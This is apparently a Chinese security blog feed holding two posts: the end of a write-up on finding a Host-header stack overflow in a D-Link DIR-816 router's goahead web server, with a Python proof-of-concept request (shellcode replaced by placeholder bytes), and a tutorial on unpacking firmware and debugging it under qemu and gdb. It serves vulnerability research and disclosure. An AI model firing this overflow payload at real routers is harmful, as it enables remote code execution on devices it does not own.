<p><img src="/images/18-5-11-4.png" alt="" /></p>
<p>用 ida 看就可以更清晰的理解这段操作的含义,</p>
<p><img src="/images/18-5-11-5.png" alt="" /></p>
<p>分别是对 goform、cgi-bin、sharefile 功能请求的函数的初始化。</p>
<p>本想继续跟下去看看登录验证的部分,不过在 main 函数中不好找,处理完各种初始化就开始监听请求,请求发过来之后不知
到往哪断,想起程序名称是 goahead,就上网找 goahead 源码,暂时不知道是什么版本的就把官网上列的 4.x 和 3.x 版本
下下来,参考一下。其实可以断在处理 socket 的前面,一直往后跟,不过这样要跟太多步,当时发现程序有源码,就先看
源码去了。</p>
<p>大致了解了下程序的整个的轮廓,选择断在处理 Url 请求的 <code class="highlighter-rouge">websUrlHanderRequest</code> 函数处进行分析,本着先找一个登录
验证绕过漏洞的目标,在浏览源码的过程注意到了程序一个处理的逻辑,就是对 http 请求头 Host 字段的值进行判断请求是否
来自本地,若是来自本地的请求则取消登录验证,然后就尝试修改Host字段。用 BurpSuite 抓包进行修改,改成 “localhost”
看看能不能绕过登录验证,发生构造的请求后发现并没有成功。</p>
<p>分析到这里想尝试一下 fuzz 顺便也可以学习一下,在上工具之前先手动 fuzz 了一下,对不同字段进行加长,看看会不会
发生像之前做的实验一样 cookie 过长发生缓冲区溢出了。在试了一通几万字节的字符串无果之后对溢出暂时放下了,回过头来
继续分析程序逻辑,看看之前 Host 字段判断本地具体逻辑,发现好像直接触发 websRedirect Url 跳转了。</p>
<p>然后在没有什么思路的情况下对各种 Url 各种字段尝试,由于一直对 Host 字段耿耿于怀,就对 Host 字段构造了超长字符
串,然后请求认证成功后才能访问的页面这样会触发 Url 跳转,在这里面的逻辑中由于未对复制到栈上的字符串长度进行
限制而产生了栈缓冲区溢出触发了 Crash !!!</p>
<p>来看一下这个 crash 的位置,经过分析漏洞代码是 websRedirect 函数中位于 <code class="highlighter-rouge">0x41EAE4</code> 位置处的一段代码,对字符串
复制没有长度限制,只是判断遇到空字节或者换行符结束。</p>
<p><img src="/images/18-5-11-10.png" alt="" /></p>
<h1 id="exploitation">Exploitation</h1>
<p>怀着激动的心情确认了一下这个 crash 确实是 Host 字段超长引发的溢出,然后开始调利用代码。不得不说漏洞利用是一门
非常具有挑战性的艺术,前面迷茫挖洞耗费的时间只是后面写利用所花费时间的三分之二,不过也有可能是我太菜了QAQ。</p>
<p>路由器是开启了 aslr 的,常规思路找信息泄露然后 rop,发送过去的 Host 在返回请求时会被当成错误提示打印出来,然后分析了一下
字符串复制的逻辑是以换行符和空字符结束,就算字符串是换行符结尾最后还要补一个空字节,所以这里试了一段时间想要泄露
libc 地址后来发现不可行,因为复制完后补了一个空字符,就打印不了后面的信息了。但是这里堆栈是可执行的,而且堆的
地址固定,所以还可以执行 shellcode。</p>
<p>这里发现和以前打 ctf 做 pwn 类型题不一样的是 socket 连接不是一直开启的,每次发送 http 请求后服务器处理完返回一个
数据包 socekt 就关闭了,服务器继续等待下次连接。不能直接执行 <code class="highlighter-rouge">/bin/sh</code> 来获得 shell,还要执行稍微复杂一点的命令,
看了下其它的路由器栈溢出的利用代码一般是直接执行 telnetd,而这里测试目标最新版本固件是没有 telnetd 的,一直用的是
旧版本的固件,这里就需要比较复杂的 shellcode 了,暂时没有那么强的编写 shellcode 的能力,参照了网上一个弹方向
shell 的 shellcode。</p>
<p>最后是发送了超过 64k 字节大小的 http 请求才在堆上分配了一块内存放置 shellcode 执行成功了,幸运的是最新版本的
固件也存在这个漏洞。</p>
<p>验证一下poc代码:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Tested product: DIR-816 (CN)
# Hardware version: A2
# Firmware version: v1.10B05 (2018/01/04)
# Firmware name: DIR-816A2_FWv1.10CNB05_R1B011D88210.img
#
import socket
p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect(("192.168.0.1" , 80))
shellcode = "A"*0x200 # *** Not the correct shellcode for exploit ***
rn = "\r\n"
strptr = "\x60\x70\xff\x7f"
padding = "\x00\x00\x00\x00"
payload = "GET /sharefile?test=A" + "HTTP/1.1" + rn
payload += "Host: " + "A"*0x70 + strptr*2 + "A"*0x24 + "\xb8\xfe\x48" + rn
payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
payload += "Accept-Language: en-US,en;q=0.5" + rn
payload += "Accept-Encoding: gzip, deflate" + rn
payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x200 + shellcode + padding*0x4000 + rn
payload += "Connection: close" + rn
payload += "Upgrade-Insecure-Requests: 1" + rn
payload += rn
p.send(payload)
print p.recv(4096)
</code></pre></div></div>
<p>断在堆上的地址 <code class="highlighter-rouge">0x48feb8</code> 处:</p>
<p><img src="/images/18-5-11-8.png" alt="" /></p>
<p>运行poc:</p>
<p><img src="/images/18-5-11-9.png" alt="" /></p>
<p>完整 shellcode 测试结果:</p>
<p><img src="/images/18-5-11-6.png" alt="" /></p>
<p><img src="/images/18-5-11-7.png" alt="" /></p>
<h1 id="summary">Summary</h1>
<p>这个漏洞的影响貌似没有那么广,shodan 和 zoomeye
看了下公网没有找到这个型号的路由开放 web 服务,也许是因为默认的配置只在子网中开放 web 服务。
然后比较奇怪的是 D Link 只在中国区找的到这个型号的路由,国外官网貌似没有这款路由
emm.. 希望这能算是挖到漏洞吧 0.0。最后,感谢对我悉心指导的 sakura 师傅,也希望漏洞能提交成功 QVQ 。</p>0x3f97@gmail.comIntroductionrouter exploit environment setup2018-05-03T00:00:00+00:002018-05-03T00:00:00+00:00https://0x3f97.github.io/exploit/2018/05/03/router-exploit-environment-setup<h1 id="introduction">Introduction</h1>
<blockquote>
<p>非常感谢 <a href="http://eternalsakura13.com/">sakura</a> 师傅,在师傅的指导下开始研究学习路由器的漏洞挖掘与利用。</p>
</blockquote>
<p>本文讲述了路由器固件的解包与调试环境搭建。</p>
<h1 id="firmware-analysis">Firmware Analysis</h1>
<p>首先选择目标路由其后对固件进行分析,对于无源码的固件可对其逆向分析,以 dir815 型号的路由器为例,相关固件可从
<a href="ftp://ftp2.dlink.com/PRODUCTS/">d-link 官网</a>下载,选择 <code class="highlighter-rouge">DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP</code>。</p>
<p>linux 下有许多常用工具如:</p>
<ul>
<li>
<p>file 检测文件类型</p>
</li>
<li>
<p>hexdump 导出十六进制数据</p>
</li>
<li>
<p>strings 导出可见字符</p>
</li>
</ul>
<p>用来帮助进行文件分析。</p>
<p>通常对固件进行解包前可以用以上工具采集一些信息,如查看文件类型:</p>
<p><img src="/images/03-05-18.png" alt="" /></p>
<p>hexdump 和 strings:</p>
<p><img src="/images/03-05-18-1.png" alt="" /></p>
<p>hexdump 将固件以 hex+ascii 的形式输出到文件中。</p>
<p>接下来对固件进行解包,提取其中的文件系统。可以简单使用 binwalk 工具自动提取:</p>
<p>运行之前安装:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt install binwalk
</code></pre></div></div>
<p><img src="/images/03-05-18-2.png" alt="" /></p>
<p>我这里 binwalk 提取失败了..0.0 ,不过还可以使用 firmware-mod-kit 工具,从
<a href="https://github.com/rampageX/firmware-mod-kit">github</a> 上 clone 下来,可以直接运行 <code class="highlighter-rouge">./extract-firmware.sh
[firmware bin]</code> 对固件进行解包。</p>
<p><img src="/images/03-05-18-3.png" alt="" /></p>
<p>初次运行解包脚本会自动进行编译,也可以先手动编译。firmware 不仅可以用来解包,还可以重新打包固件。</p>
<p>除了自动解包脚本,也可手动解包,binwalk 可以查看到 header image、文件系统等部分的位置信息,然后使用 dd 工具:</p>
<p><img src="/images/03-05-18-4.png" alt="" /></p>
<p>如图将文件系统提取出来后可以用 firmware-mod-kit 工具中的解压 squashfs 格式文件系统的脚本解压:</p>
<p><img src="/images/03-05-18-5.png" alt="" /></p>
<p>另外固件中有些部分如 image header 是用 lzma 格式压缩的,提取出来后需用 lzma 解压。</p>
<h1 id="configure-debug">Configure Debug</h1>
<p>下面配置调试环境,没有实体路由器的可以使用 qemu 模拟运行,一般是运行其中的 web 应用程序,但可能会由于缺少设备
等原因无法直接跑起来,通常需要修复运行环境,这里暂不对环境修复做演示(emmm..其实是之前试了几个固件没修复好0.0)。
由于在固件的文件系统中会缺少相关的运行库,所以 qemu 只能使用静态链接的版本,ubuntu 系统可直接使用以下命令
安装 qemu 静态链接版:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>apt install qemu-user-static
</code></pre></div></div>
<p>切换到固件解压出来的文件系统目录下使用 qemu 模拟运行:</p>
<p>运行以下命令:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>cp <span class="k">$(</span>which qemu-mipsel-static<span class="k">)</span> <span class="nb">.</span>
<span class="nb">sudo </span>chroot <span class="nb">.</span> ./qemu-mipsel-static ./bin/busybox
</code></pre></div></div>
<p><img src="/images/03-05-18-6.png" alt="" /></p>
<p>而本次分析的固件中的 web 应用程序加上具体参数后可以直接运行,不过要具体分析下程序,这里演示另外一个路由的固件,
可以直接模拟运行。在一些资料中翻到 totolink A850R 的一些介绍,可从官网下载该路由的固件,对固件进行解包后使用
qemu 运行 bin 目录下的 skt 程序:</p>
<p><img src="/images/03-05-18-9.png" alt="" /></p>
<p>发现其监听了5555端口,浏览器打开看一下:</p>
<p><img src="/images/03-05-18-10.png" alt="" /></p>
<p>没有任何东西..,不过可以确定该程序的确可以运行,可以使用 qemu <code class="highlighter-rouge">-g 7777</code> 对其调试:</p>
<p>使用命令:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>chroot <span class="nb">.</span> ./qemu-mips-static <span class="nt">-g</span> 7777 ./bin/skt
</code></pre></div></div>
<p>使用 gdb-multiarch 远程调试:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt install gdb-multiarch
gdb-multiarch ./skt
target remote :7777
</code></pre></div></div>
<p>连上后:</p>
<p><img src="/images/03-05-18-11.png" alt="" /></p>
<p>一般模拟运行的 web 程序会报各种错误,就需要自己分析程序,然后根据实际情况编写劫持函数,使其能够正常运行。
要编写 mips 可执行文件需搭建交叉编译环境:</p>
<p>下载 buildroot</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://buildroot.org/downloads/buildroot-2018.02.1.tar.gz
</code></pre></div></div>
<p>也可直接去官网下载,下载完解压后进入到 buildroot 目录下开始编译:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make clean
make menuconfig
</code></pre></div></div>
<p>以 mips 小端格式为例,进入 target options > target architecture 选择 mips (little endian):</p>
<p><img src="/images/03-05-18-7.png" alt="" /></p>
<p>然后回到初始菜单,进入 toolchain 将 kernel header 改为贴近模拟环境的版本:</p>
<p><img src="/images/03-05-18-8.png" alt="" /></p>
<p>配置完后 make 编译,编译完后在 <code class="highlighter-rouge">output/host/bin</code> 目录下找到 <code class="highlighter-rouge">mips-linux-gcc</code>。</p>
<p>除了 qemu 还可以使用 <a href="https://github.com/firmadyne/firmadyne">firmadyne</a> 模拟运行路由器固件,随手试了下只有
netgear 的路由器固件能够解包成功,然后除了文档中用于示范的固件外试了其它几个 netgear 的固件都跑不起来。。也可能
是我使用方法有问题。</p>
<p>后续可能要考虑真机调试了,模拟运行好多坑。。</p>
<h1 id="reference">Reference</h1>
<ul>
<li>
<p><a href="https://www.secforce.com/blog/2014/04/reverse-engineer-router-firmware-part-1/">Reverse Engineer Router Firmware – Part
1</a></p>
</li>
<li>
<p><a href="http://www.freebuf.com/sectool/75915.html">逆向路由器固件之解包 Part1</a></p>
</li>
<li>
<p><a href="http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/">Exploiting Embedded Systems – Part 3</a></p>
</li>
<li>
<p><a href="http://blog.hac425.top/2017/10/26/step_by_step_pwn_router_part1.html">一步一步pwn路由器之环境搭建</a></p>
</li>
<li>
<p><a href="https://bbs.pediy.com/thread-212369.htm">详细的路由器漏洞分析环境搭建教程</a></p>
</li>
<li>
<p><a href="https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1">Getting Started with Damn Vulnerable Router Firmware (DVRF)
v0.1</a></p>
</li>
</ul>0x3f97@gmail.comIntroduction